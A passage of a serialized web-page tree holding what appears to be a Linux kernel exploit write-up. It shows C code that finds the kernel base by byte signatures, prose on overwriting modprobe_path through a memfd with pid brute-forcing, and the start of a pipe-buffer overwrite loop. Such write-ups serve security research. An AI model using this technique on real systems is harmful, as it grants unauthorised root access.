base\n",{"type":21,"tag":85,"props":59384,"children":59385},{"class":87,"line":3394},[59386],{"type":21,"tag":85,"props":59387,"children":59388},{"style":114},[59389],{"type":26,"value":32140},{"type":21,"tag":85,"props":59391,"children":59392},{"class":87,"line":3410},[59393,59398,59402,59406],{"type":21,"tag":85,"props":59394,"children":59395},{"style":114},[59396],{"type":26,"value":59397},"                found ",{"type":21,"tag":85,"props":59399,"children":59400},{"style":169},[59401],{"type":26,"value":741},{"type":21,"tag":85,"props":59403,"children":59404},{"style":102},[59405],{"type":26,"value":12886},{"type":21,"tag":85,"props":59407,"children":59408},{"style":114},[59409],{"type":26,"value":2535},{"type":21,"tag":85,"props":59411,"children":59412},{"class":87,"line":3427},[59413,59418],{"type":21,"tag":85,"props":59414,"children":59415},{"style":2885},[59416],{"type":26,"value":59417},"                break",{"type":21,"tag":85,"props":59419,"children":59420},{"style":114},[59421],{"type":26,"value":2535},{"type":21,"tag":85,"props":59423,"children":59424},{"class":87,"line":3445},[59425],{"type":21,"tag":85,"props":59426,"children":59427},{"style":114},[59428],{"type":26,"value":59342},{"type":21,"tag":85,"props":59430,"children":59431},{"class":87,"line":3490},[59432],{"type":21,"tag":85,"props":59433,"children":59434},{"style":114},[59435],{"type":26,"value":4118},{"type":21,"tag":85,"props":59437,"children":59438},{"class":87,"line":3596},[59439],{"type":21,"tag":85,"props":59440,"children":59441},{"emptyLinePlaceholder":16},[59442],{"type":26,"value":703},{"type":21,"tag":85,"props":59444,"children":59445},{"class":87,"line":23938},[59446],{"type":21,"tag":85,"props":59447,"children":59448},{"style":114},[59449],{"type":26,"value":10733},{"type":21,"tag":22,"props":59451,"children":59452},{},[59453,59455,59459,59461,59467,59469,59473],{"type":26,"value":59454},"Notice that at ",{"type":21,"tag":85,"props":59456,"children":59457},{},[59458],{"type":26,"value":4779},{"type":26,"value":59460}," we call the ",{"type":21,"tag":66,"props":59462,"children":59464},{"className":59463},[],[59465],{"type":26,"value":59466},"is_kernel_base()",{"type":26,"value":59468}," function. This is a function based on lau's exploit ",{"type":21,"tag":85,"props":59470,"children":59471},{},[59472],{"type":26,"value":18532},{"type":26,"value":59474}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":21,"tag":75,"props":59476,"children":59478},{"className":29553,"code":59477,"language":29555,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[59479],{"type":21,"tag":66,"props":59480,"children":59481},{"__ignoreMap":7},[59482,59489,59519,59526,59534,59541,59549,59620,59682,59697,59704,59712,59780,59842,59903,59964,60026,60088,60149,60210,60271,60332,60393,60408,60415,60430,60437],{"type":21,"tag":85,"props":59483,"children":59484},{"class":87,"line":88},[59485],{"type":21,"tag":85,"props":59486,"children":59487},{"style":114},[59488],{"type":26,"value":10733},{"type":21,"tag":85,"props":59490,"children":59491},{"class":87,"line":98},[59492,59497,59502,59507,59511,59515],{"type":21,"tag":85,"props":59493,"children":59494},{"style":114},[59495],{"type":26,"value":59496},"static bool is_kernel_base(",{"type":21,"tag":85,"props":59498,"children":59499},{"style":102},[59500],{"type":26,"value":59501},"unsigned",{"type":21,"tag":85,"props":59503,"children":59504},{"style":102},[59505],{"type":26,"value":59506}," char",{"type":21,"tag":85,"props":59508,"children":59509},{"style":102},[59510],{"type":26,"value":10231},{"type":21,"tag":85,"props":59512,"children":59513},{"style":120},[59514],{"type":26,"value":31131},{"type":21,"tag":85,"props":59516,"children":59517},{"style":114},[59518],{"type":26,"value":2485},{"type":21,"tag":85,"props":59520,"children":59521},{"class":87,"line":151},[59522],{"type":21,"tag":85,"props":59523,"children":59524},{"style":114},[59525],{"type":26,"value":11296},{"type":21,"tag":85,"props":59527,"children":59528},{"class":87,"line":160},[59529],{"type":21,"tag":85,"props":59530,"children":59531},{"style":92},[59532],{"type":26,"value":59533},"    // thanks lau :)\n",{"type":21,"tag":85,"props":59535,"children":59536},{"class":87,"line":185},[59537],{"type":21,"tag":85,"props":59538,"children":59539},{"emptyLinePlaceholder":16},[59540],{"type":26,"value":703},{"type":21,"tag":85,"props":59542,"children":59543},{"class":87,"line":501},[59544],{"type":21,"tag":85,"props":59545,"children":59546},{"style":92},[59547],{"type":26,"value":59548},"    // get-sig kernel_runtime_1\n",{"type":21,"tag":85,"props":59550,"children":59551},{"class":87,"line":697},[59552,59556,59560,59565,59570,59574,59579,59583,59587,59592,59596,59600,59604,59608,59612,59616],{"type":21,"tag":85,"props":59553,"children":59554},{"style":2885},[59555],{"type":26,"value":12696},{"type":21,"tag":85,"props":59557,"children":59558},{"style":114},[59559],{"type":26,"value":717},{"type":21,"tag":85,"props":59561,"children":59562},{"style":1021},[59563],{"type":26,"value":59564},"memcmp",{"type":21,"tag":85,"props":59566,"children":59567},{"style":114},[59568],{"type":26,"value":59569},"(addr ",{"type":21,"tag":85,"props":59571,"children":59572},{"style":169},[59573],{"type":26,"value":5151},{"type":21,"tag":85,"props":59575,"children":59576},{"style":2285},[59577],{"type":26,"value":59578}," 0x0",{"type":21,"tag":85,"props":59580,"children":59581},{"style":114},[59582],{"type":26,"value":256},{"type":21,"tag":85,"props":59584,"children":59585},{"style":5026},[59586],{"type":26,"value":20487},{"type":21,"tag":85,"props":59588,"children":59589},{"style":48828},[59590],{"type":26,"value":59591},"\\x48\\x8d\\x25\\x51\\x3f",{"type":21,"tag":85,"props":59593,"children":59594},{"style":5026},[59595],{"type":26,"value":20487},{"type":21,"tag":85,"props":59597,"children":59598},{"style":114},[59599],{"type":26,"value":256},{"type":21,"tag":85,"props":59601,"children":59602},{"style":2285},[59603],{"type":26,"value":18532},{"type":21,"tag":85,"props":59605,"children":59606},{"style":114},[59607],{"type":26,"value":736},{"type":21,"tag":85,"props":59609,"children":59610},{"style":169},[59611],{"type":26,"value":2936},{"type":21,"tag":85,"props":59613,"children":59614},{"style":2285},[59615],{"type":26,"value":2830},{"type":21,"tag":85,"props":59617,"children":59618},{"style":169},[59619],{"type":26,"value":53140},{"type":21,"tag":85,"props":59621,"children":59622},{"class":87,"line":706},[59623,59628,59632,59636,59641,59645,59649,59654,59658,59662,59666,59670,59674,59678],{"type":21,"tag":85,"props":59624,"children":59625},{"style":1021},[59626],{"type":26,"value":59627},"        memcmp",{"type":21,"tag":85,"props":59629,"children":59630},{"style":114},[59631],{"type":26,"value":59569},{"type":21,"tag":85,"props":59633,"children":59634},{"style":169},[59635],{"type":26,"value":5151},{"type":21,"tag":85,"props":59637,"children":59638},{"style":2285},[59639],{"type":26,"value":59640}," 0x7",{"type":21,"tag":85,"props":59642,"children":59643},{"style":114},[59644],{"type":26,"value":256},{"type":21,"tag":85,"props":59646,"children":59647},{"style":5026},[59648],{"type":26,"value":20487},{"type":21,"tag":85,"props":59650,"children":59651},{"style":48828},[59652],{"type":26,"value":59653},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":21,"tag":85,"props":59655,"children":59656},{"style":5026},[59657],{"type":26,"value":20487},{"type":21,"tag":85,"props":59659,"children":59660},{"style":114},[59661],{"type":26,"value":256},{"type":21,"tag":85,"props":59663,"children":59664},{"style":2285},[59665],{"type":26,"value":55127},{"type":21,"tag":85,"props":59667,"children":59668},{"style":114},[59669],{"type":26,"value":736},{"type":21,"tag":85,"props":59671,"children":59672},{"style":169},[59673],{"type":26,"value":2936},{"type":21,"tag":85,"props":59675,"children":59676},{"style":2285},[59677],{"type":26,"value":2830},{"type":21,"tag":85,"props":59679,"children":59680},{"style":114},[59681],{"type":26,"value":2485},{"type":21,"tag":85,"props":59683,"children":59684},{"class":87,"line":1100},[59685,59689,59693],{"type":21,"tag":85,"props":59686,"children":59687},{"style":2885},[59688],{"type":26,"value":16164},{"type":21,"tag":85,"props":59690,"children":59691},{"style":102},[59692],{"type":26,"value":12886},{"type":21,"tag":85,"props":59694,"children":59695},{"style":114},[59696],{"type":26,"value":2535},{"type":21,"tag":85,"props":59698,"children":59699},{"class":87,"line":1339},[59700],{"type":21,"tag":85,"props":59701,"children":59702},{"emptyLinePlaceholder":16},[59703],{"type":26,"value":703},{"type":21,"tag":85,"props":59705,"children":59706},{"class":87,"line":1348},[59707],{"type":21,"tag":85,"props":59708,"children":59709},{"style":92},[59710],{"type":26,"value":59711},"    // get-sig kernel_runtime_2\n",{"type":21,"tag":85,"props":59713,"children":59714},{"class":87,"line":1386},[59715,59719,59723,59727,59731,59735,59739,59743,59747,59752,59756,59760,59764,59768,59772,59776],{"type":21,"tag":85,"props":59716,"children":59717},{"style":2885},[59718],{"type":26,"value":12696},{"type":21,"tag":85,"props":59720,"children":59721},{"style":114},[59722],{"type":26,"value":717},{"type":21,"tag":85,"props":59724,"children":59725},{"style":1021},[59726],{"type":26,"value":59564},{"type":21,"tag":85,"props":59728,"children":59729},{"style":114},[59730],{"type":26,"value":59569},{"type":21,"tag":85,"props":59732,"children":59733},{"style":169},[59734],{"type":26,"value":5151},{"type":21,"tag":85,"props":59736,"children":59737},{"style":2285},[59738],{"type":26,"value":59578},{"type":21,"tag":85,"props":59740,"children":59741},{"style":114},[59742],{"type":26,"value":256},{"type":21,"tag":85,"props":59744,"children":59745},{"style":5026},[59746],{"type":26,"value":20487},{"type":21,"tag":85,"props":59748,"children":59749},{"style":48828},[59750],{"type":26,"value":59751},"\\xfc\\x0f\\x01\\x15",{"type":21,"tag":85,"props":59753,"children":59754},{"style":5026},[59755],{"type":26,"value":20487},{"type":21,"tag":85,"props":59757,"children":59758},{"style":114},[59759],{"type":26,"value":256},{"type":21,"tag":85,"props":59761,"children":59762},{"style":2285},[59763],{"type":26,"value":17951},{"type":21,"tag":85,"props":59765,"children":59766},{"style":114},[59767],{"type":26,"value":736},{"type":21,"tag":85,"props":59769,"children":59770},{"style":169},[59771],{"type":26,"value":2936},{"type":21,"tag":85,"props":59773,"children":59774},{"style":2285},[59775],{"type":26,"value":2830},{"type":21,"tag":85,"props":59777,"children":59778},{"style":169},[59779],{"type":26,"value":53140},{"type":21,"tag":85,"props":59781,"children":59782},{"class":87,"line":1394},[59783,59787,59791,59795,59800,59804,59808,59813,59817,59821,59826,59830,59834,59838],{"type":21,"tag":85,"props":59784,"children":59785},{"style":1021},[59786],{"type":26,"value":59627},{"type":21,"tag":85,"props":59788,"children":59789},{"style":114},[59790],{"type":26,"value":59569},{"type":21,"tag":85,"props":59792,"children":59793},{"style":169},[59794],{"type":26,"value":5151},{"type":21,"tag":85,"props":59796,"children":59797},{"style":2285},[59798],{"type":26,"value":59799}," 0x8",{"type":21,"tag":85,"props":59801,"children":59802},{"style":114},[59803],{"type":26,"value":256},{"type":21,"tag":85,"props":59805,"children":59806},{"style":5026},[59807],{"type":26,"value":20487},{"type":21,"tag":85,"props":59809,"children":59810},{"style":48828},[59811],{"type":26,"value":59812},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":21,"tag":85,"props":59814,"children":59815},{"style":5026},[59816],{"type":26,"value":20487},{"type":21,"tag":85,"props":59818,"children":59819},{"style":114},[59820],{"type":26,"value":256},{"type":21,"tag":85,"props":59822,"children":59823},{"style":2285},[59824],{"type":26,"value":59825},"12",{"type":21,"tag":85,"props":59827,"children":59828},{"style":114},[59829],{"type":26,"value":736},{"type":21,"tag":85,"props":59831,"children":59832},{"style":169},[59833],{"type":26,"value":2936},{"type":21,"tag":85,"props":59835,"children":59836},{"style":2285},[59837],{"type":26,"value":2830},{"type":21,"tag":85,"props":59839,"children":59840},{"style":169},[59841],{"type":26,"value":53140},{"type":21,"tag":85,"props":59843,"children":59844},{"class":87,"line":1402},[59845,59849,59853,59857,59862,59866,59870,59875,59879,59883,59887,59891,59895,59899],{"type":21,"tag":85,"props":59846,"children":59847},{"style":1021},[59848],{"type":26,"value":59627},{"type":21,"tag":85,"props":59850,"children":59851},{"style":114},[59852],{"type":26,"value":59569},{"type":21,"tag":85,"props":59854,"children":59855},{"style":169},[59856],{"type":26,"value":5151},{"type":21,"tag":85,"props":59858,"children":59859},{"style":2285},[59860],{"type":26,"value":59861}," 0x18",{"type":21,"tag":85,"props":59863,"children":59864},{"style":114},[59865],{"type":26,"value":256},{"type":21,"tag":85,"props":59867,"children":59868},{"style":5026},[59869],{"type":26,"value":20487},{"type":21,"tag":85,"props":59871,"children":59872},{"style":48828},[59873],{"type":26,"value":59874},"\\x89\\xde\\x8b\\x0d",{"type":21,"tag":85,"props":59876,"children":59877},{"style":5026},[59878],{"type":26,"value":20487},{"type":21,"tag":85,"props":59880,"children":59881},{"style":114},[59882],{"type":26,"value":256},{"type":21,"tag":85,"props":59884,"children":59885},{"style":2285},[59886],{"type":26,"value":17951},{"type":21,"tag":85,"props":59888,"children":59889},{"style":114},[59890],{"type":26,"value":736},{"type":21,"tag":85,"props":59892,"children":59893},{"style":169},[59894],{"type":26,"value":2936},{"type":21,"tag":85,"props":59896,"children":59897},{"style":2285},[59898],{"type":26,"value":2830},{"type":21,"tag":85,"props":59900,"children":59901},{"style":169},[59902],{"type":26,"value":53140},{"type":21,"tag":85,"props":59904,"children":59905},{"class":87,"line":3145},[59906,59910,59914,59918,59923,59927,59931,59936,59940,59944,59948,59952,59956,59960],{"type":21,"tag":85,"props":59907,"children":59908},{"style":1021},[59909],{"type":26,"value":59627},{"type":21,"tag":85,"props":59911,"children":59912},{"style":114},[59913],{"type":26,"value":59569},{"type":21,"tag":85,"props":59915,"children":59916},{"style":169},[59917],{"type":26,"value":5151},{"type":21,"tag":85,"props":59919,"children":59920},{"style":2285},[59921],{"type":26,"value":59922}," 0x20",{"type":21,"tag":85,"props":59924,"children":59925},{"style":114},[59926],{"type":26,"value":256},{"type":21,"tag":85,"props":59928,"children":59929},{"style":5026},[59930],{"type":26,"value":20487},{"type":21,"tag":85,"props":59932,"children":59933},{"style":48828},[59934],{"type":26,"value":59935},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":21,"tag":85,"props":59937,"children":59938},{"style":5026},[59939],{"type":26,"value":20487},{"type":21,"tag":85,"props":59941,"children":59942},{"style":114},[59943],{"type":26,"value":256},{"type":21,"tag":85,"props":59945,"children":59946},{"style":2285},[59947],{"type":26,"value":18844},{"type":21,"tag":85,"props":59949,"children":59950},{"style":114},[59951],{"type":26,"value":736},{"type":21,"tag":85,"props":59953,"children":59954},{"style":169},[59955],{"type":26,"value":2936},{"type":21,"tag":85,"props":59957,"children":59958},{"style":2285},[59959],{"type":26,"value":2830},{"type":21,"tag":85,"props":59961,"children":59962},{"style":169},[59963],{"type":26,"value":53140},{"type":21,"tag":85,"props":59965,"children":59966},{"class":87,"line":3246},[59967,59971,59975,59979,59984,59988,59992,59997,60001,60005,60010,60014,60018,60022],{"type":21,"tag":85,"props":59968,"children":59969},{"style":1021},[59970],{"type":26,"value":59627},{"type":21,"tag":85,"props":59972,"children":59973},{"style":114},[59974],{"type":26,"value":59569},{"type":21,"tag":85,"props":59976,"children":59977},{"style":169},[59978],{"type":26,"value":5151},{"type":21,"tag":85,"props":59980,"children":59981},{"style":2285},[59982],{"type":26,"value":59983}," 0x2a",{"type":21,"tag":85,"props":59985,"children":59986},{"style":114},[59987],{"type":26,"value":256},{"type":21,"tag":85,"props":59989,"children":59990},{"style":5026},[59991],{"type":26,"value":20487},{"type":21,"tag":85,"props":59993,"children":59994},{"style":48828},[59995],{"type":26,"value":59996},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":21,"tag":85,"props":59998,"children":59999},{"style":5026},[60000],{"type":26,"value":20487},{"type":21,"tag":85,"props":60002,"children":60003},{"style":114},[60004],{"type":26,"value":256},{"type":21,"tag":85,"props":60006,"children":60007},{"style":2285},[60008],{"type":26,"value":60009},"24",{"type":21,"tag":85,"props":60011,"children":60012},{"style":114},[60013],{"type":26,"value":736},{"type":21,"tag":85,"props":60015,"children":60016},{"style":169},[60017],{"type":26,"value":2936},{"type":21,"tag":85,"props":60019,"children":60020},{"style":2285},[60021],{"type":26,"value":2830},{"type":21,"tag":85,"props":60023,"children":60024},{"style":169},[60025],{"type":26,"value":53140},{"type":21,"tag":85,"props":60027,"children":60028},{"class":87,"line":3255},[60029,60033,60037,60041,60046,60050,60054,60059,60063,60067,60072,60076,60080,60084],{"type":21,"tag":85,"props":60030,"children":60031},{"style":1021},[60032],{"type":26,"value":59627},{"type":21,"tag":85,"props":60034,"children":60035},{"style":114},[60036],{"type":26,"value":59569},{"type":21,"tag":85,"props":60038,"children":60039},{"style":169},[60040],{"type":26,"value":5151},{"type":21,"tag":85,"props":60042,"children":60043},{"style":2285},[60044],{"type":26,"value":60045}," 0x45",{"type":21,"tag":85,"props":60047,"children":60048},{"style":114},[60049],{"type":26,"value":256},{"type":21,"tag":85,"props":60051,"children":60052},{"style":5026},[60053],{"type":26,"value":20487},{"type":21,"tag":85,"props":60055,"children":60056},{"style":48828},[60057],{"type":26,"value":60058},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":21,"tag":85,"props":60060,"children":60061},{"style":5026},[60062],{"type":26,"value":20487},{"type":21,"tag":85,"props":60064,"children":60065},{"style":114},[60066],{"type":26,"value":256},{"type":21,"tag":85,"props":60068,"children":60069},{"style":2285},[60070],{"type":26,"value":60071},"15",{"type":21,"tag":85,"props":60073,"children":60074},{"style":114},[60075],{"type":26,"value":736},{"type":21,"tag":85,"props":60077,"children":60078},{"style":169},[60079],{"type":26,"value":2936},{"type":21,"tag":85,"props":60081,"children":60082},{"style":2285},[60083],{"type":26,"value":2830},{"type":21,"tag":85,"props":60085,"children":60086},{"style":169},[60087],{"type":26,"value":53140},{"type":21,"tag":85,"props":60089,"children":60090},{"class":87,"line":3286},[60091,60095,60099,60103,60108,60112,60116,60121,60125,60129,60133,60137,60141,60145],{"type":21,"tag":85,"props":60092,"children":60093},{"style":1021},[60094],{"type":26,"value":59627},{"type":21,"tag":85,"props":60096,"children":60097},{"style":114},[60098],{"type":26,"value":59569},{"type":21,"tag":85,"props":60100,"children":60101},{"style":169},[60102],{"type":26,"value":5151},{"type":21,"tag":85,"props":60104,"children":60105},{"style":2285},[60106],{"type":26,"value":60107}," 0x55",{"type":21,"tag":85,"props":60109,"children":60110},{"style":114},[60111],{"type":26,"value":256},{"type":21,"tag":85,"props":60113,"children":60114},{"style":5026},[60115],{"type":26,"value":20487},{"type":21,"tag":85,"props":60117,"children":60118},{"style":48828},[60119],{"type":26,"value":60120},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":21,"tag":85,"props":60122,"children":60123},{"style":5026},[60124],{"type":26,"value":20487},{"type":21,"tag":85,"props":60126,"children":60127},{"style":114},[60128],{"type":26,"value":256},{"type":21,"tag":85,"props":60130,"children":60131},{"style":2285},[60132],{"type":26,"value":4843},{"type":21,"tag":85,"props":60134,"children":60135},{"style":114},[60136],{"type":26,"value":736},{"type":21,"tag":85,"props":60138,"children":60139},{"style":169},[60140],{"type":26,"value":2936},{"type":21,"tag":85,"props":60142,"children":60143},{"style":2285},[60144],{"type":26,"value":2830},{"type":21,"tag":85,"props":60146,"children":60147},{"style":169},[60148],{"type":26,"value":53140},{"type":21,"tag":85,"props":60150,"children":60151},{"class":87,"line":3295},[60152,60156,60160,60164,60169,60173,60177,60182,60186,60190,60194,60198,60202,60206],{"type":21,"tag":85,"props":60153,"children":60154},{"style":1021},[60155],{"type":26,"value":59627},{"type":21,"tag":85,"props":60157,"children":60158},{"style":114},[60159],{"type":26,"value":59569},{"type":21,"tag":85,"props":60161,"children":60162},{"style":169},[60163],{"type":26,"value":5151},{"type":21,"tag":85,"props":60165,"children":60166},{"style":2285},[60167],{"type":26,"value":60168}," 0x61",{"type":21,"tag":85,"props":60170,"children":60171},{"style":114},[60172],{"type":26,"value":256},{"type":21,"tag":85,"props":60174,"children":60175},{"style":5026},[60176],{"type":26,"value":20487},{"type":21,"tag":85,"props":60178,"children":60179},{"style":48828},[60180],{"type":26,"value":60181},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":21,"tag":85,"props":60183,"children":60184},{"style":5026},[60185],{"type":26,"value":20487},{"type":21,"tag":85,"props":60187,"children":60188},{"style":114},[60189],{"type":26,"value":256},{"type":21,"tag":85,"props":60191,"children":60192},{"style":2285},[60193],{"type":26,"value":18532},{"type":21,"tag":85,"props":60195,"children":60196},{"style":114},[60197],{"type":26,"value":736},{"type":21,"tag":85,"props":60199,"children":60200},{"style":169},[60201],{"type":26,"value":2936},{"type":21,"tag":85,"props":60203,"children":60204},{"style":2285},[60205],{"type":26,"value":2830},{"type":21,"tag":85,"props":60207,"children":60208},{"style":169},[60209],{"type":26,"value":53140},{"type":21,"tag":85,"props":60211,"children":60212},{"class":87,"line":3308},[60213,60217,60221,60225,60230,60234,60238,60243,60247,60251,60255,60259,60263,60267],{"type":21,"tag":85,"props":60214,"children":60215},{"style":1021},[60216],{"type":26,"value":59627},{"type":21,"tag":85,"props":60218,"children":60219},{"style":114},[60220],{"type":26,"value":59569},{"type":21,"tag":85,"props":60222,"children":60223},{"style":169},[60224],{"type":26,"value":5151},{"type":21,"tag":85,"props":60226,"children":60227},{"style":2285},[60228],{"type":26,"value":60229}," 0x6a",{"type":21,"tag":85,"props":60231,"children":60232},{"style":114},[60233],{"type":26,"value":256},{"type":21,"tag":85,"props":60235,"children":60236},{"style":5026},[60237],{"type":26,"value":20487},{"type":21,"tag":85,"props":60239,"children":60240},{"style":48828},[60241],{"type":26,"value":60242},"\\x48\\xc7\\xc6",{"type":21,"tag":85,"props":60244,"children":60245},{"style":5026},[60246],{"type":26,"value":20487},{"type":21,"tag":85,"props":60248,"children":60249},{"style":114},[60250],{"type":26,"value":256},{"type":21,"tag":85,"props":60252,"children":60253},{"style":2285},[60254],{"type":26,"value":17718},{"type":21,"tag":85,"props":60256,"children":60257},{"style":114},[60258],{"type":26,"value":736},{"type":21,"tag":85,"props":60260,"children":60261},{"style":169},[60262],{"type":26,"value":2936},{"type":21,"tag":85,"props":60264,"children":60265},{"style":2285},[60266],{"type":26,"value":2830},{"type":21,"tag":85,"props":60268,"children":60269},{"style":169},[60270],{"type":26,"value":53140},{"type":21,"tag":85,"props":60272,"children":60273},{"class":87,"line":3333},[60274,60278,60282,60286,60291,60295,60299,60304,60308,60312,60316,60320,60324,60328],{"type":21,"tag":85,"props":60275,"children":60276},{"style":1021},[60277],{"type":26,"value":59627},{"type":21,"tag":85,"props":60279,"children":60280},{"style":114},[60281],{"type":26,"value":59569},{"type":21,"tag":85,"props":60283,"children":60284},{"style":169},[60285],{"type":26,"value":5151},{"type":21,"tag":85,"props":60287,"children":60288},{"style":2285},[60289],{"type":26,"value":60290}," 0x71",{"type":21,"tag":85,"props":60292,"children":60293},{"style":114},[60294],{"type":26,"value":256},{"type":21,"tag":85,"props":60296,"children":60297},{"style":5026},[60298],{"type":26,"value":20487},{"type":21,"tag":85,"props":60300,"children":60301},{"style":48828},[60302],{"type":26,"value":60303},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":21,"tag":85,"props":60305,"children":60306},{"style":5026},[60307],{"type":26,"value":20487},{"type":21,"tag":85,"props":60309,"children":60310},{"style":114},[60311],{"type":26,"value":256},{"type":21,"tag":85,"props":60313,"children":60314},{"style":2285},[60315],{"type":26,"value":18844},{"type":21,"tag":85,"props":60317,"children":60318},{"style":114},[60319],{"type":26,"value":736},{"type":21,"tag":85,"props":60321,"children":60322},{"style":169},[60323],{"type":26,"value":2936},{"type":21,"tag":85,"props":60325,"children":60326},{"style":2285},[60327],{"type":26,"value":2830},{"type":21,"tag":85,"props":60329,"children":60330},{"style":169},[60331],{"type":26,"value":53140},{"type":21,"tag":85,"props":60333,"children":60334},{"class":87,"line":3369},[60335,60339,60343,60347,60352,60356,60360,60365,60369,60373,60377,60381,60385,60389],{"type":21,"tag":85,"props":60336,"children":60337},{"style":1021},[60338],{"type":26,"value":59627},{"type":21,"tag":85,"props":60340,"children":60341},{"style":114},[60342],{"type":26,"value":59569},{"type":21,"tag":85,"props":60344,"children":60345},{"style":169},[60346],{"type":26,"value":5151},{"type":21,"tag":85,"props":60348,"children":60349},{"style":2285},[60350],{"type":26,"value":60351}," 0x78",{"type":21,"tag":85,"props":60353,"children":60354},{"style":114},[60355],{"type":26,"value":256},{"type":21,"tag":85,"props":60357,"children":60358},{"style":5026},[60359],{"type":26,"value":20487},{"type":21,"tag":85,"props":60361,"children":60362},{"style":48828},[60363],{"type":26,"value":60364},"\\xff\\xe0",{"type":21,"tag":85,"props":60366,"children":60367},{"style":5026},[60368],{"type":26,"value":20487},{"type":21,"tag":85,"props":60370,"children":60371},{"style":114},[60372],{"type":26,"value":256},{"type":21,"tag":85,"props":60374,"children":60375},{"style":2285},[60376],{"type":26,"value":3895},{"type":21,"tag":85,"props":60378,"children":60379},{"style":114},[60380],{"type":26,"value":736},{"type":21,"tag":85,"props":60382,"children":60383},{"style":169},[60384],{"type":26,"value":2936},{"type":21,"tag":85,"props":60386,"children":60387},{"style":2285},[60388],{"type":26,"value":2830},{"type":21,"tag":85,"props":60390,"children":60391},{"style":114},[60392],{"type":26,"value":2485},{"type":21,"tag":85,"props":60394,"children":60395},{"class":87,"line":3377},[60396,60400,60404],{"type":21,"tag":85,"props":60397,"children":60398},{"style":2885},[60399],{"type":26,"value":16164},{"type":21,"tag":85,"props":60401,"children":60402},{"style":102},[60403],{"type":26,"value":12886},{"type":21,"tag":85,"props":60405,"children":60406},{"style":114},[60407],{"type":26,"value":2535},{"type":21,"tag":85,"props":60409,"children":60410},{"class":87,"line":3386},[60411],{"type":21,"tag":85,"props":60412,"children":60413},{"emptyLinePlaceholder":16},[60414],{"type":26,"value":703},{"type":21,"tag":85,"props":60416,"children":60417},{"class":87,"line":3394},[60418,60422,60426],{"type":21,"tag":85,"props":60419,"children":60420},{"style":2885},[60421],{"type":26,"value":17411},{"type":21,"tag":85,"props":60423,"children":60424},{"style":102},[60425],{"type":26,"value":3438},{"type":21,"tag":85,"props":60427,"children":60428},{"style":114},[60429],{"type":26,"value":2535},{"type":21,"tag":85,"props":60431,"children":60432},{"class":87,"line":3410},[60433],{"type":21,"tag":85,"props":60434,"children":60435},{"style":114},[60436],{"type":26,"value":2671},{"type":21,"tag":85,"props":60438,"children":60439},{"class":87,"line":3427},[60440],{"type":21,"tag":85,"props":60441,"children":60442},{"style":114},[60443],{"type":26,"value":10733},{"type":21,"tag":10022,"props":60445,"children":60447},{"id":60446},"overwriting-modprobe_path",[60448,60450],{"type":26,"value":60449},"Overwriting ",{"type":21,"tag":66,"props":60451,"children":60453},{"className":60452},[],[60454],{"type":26,"value":58835},{"type":21,"tag":22,"props":60456,"children":60457},{},[60458,60460,60466],{"type":26,"value":60459},"Finding the ",{"type":21,"tag":66,"props":60461,"children":60463},{"className":60462},[],[60464],{"type":26,"value":60465},"/sbin/modprobe",{"type":26,"value":60467}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":21,"tag":22,"props":60469,"children":60470},{},[60471,60473,60479],{"type":26,"value":60472},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":21,"tag":66,"props":60474,"children":60476},{"className":60475},[],[60477],{"type":26,"value":60478},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":26,"value":60480}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":21,"tag":75,"props":60482,"children":60484},{"className":29553,"code":60483,"language":29555,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; 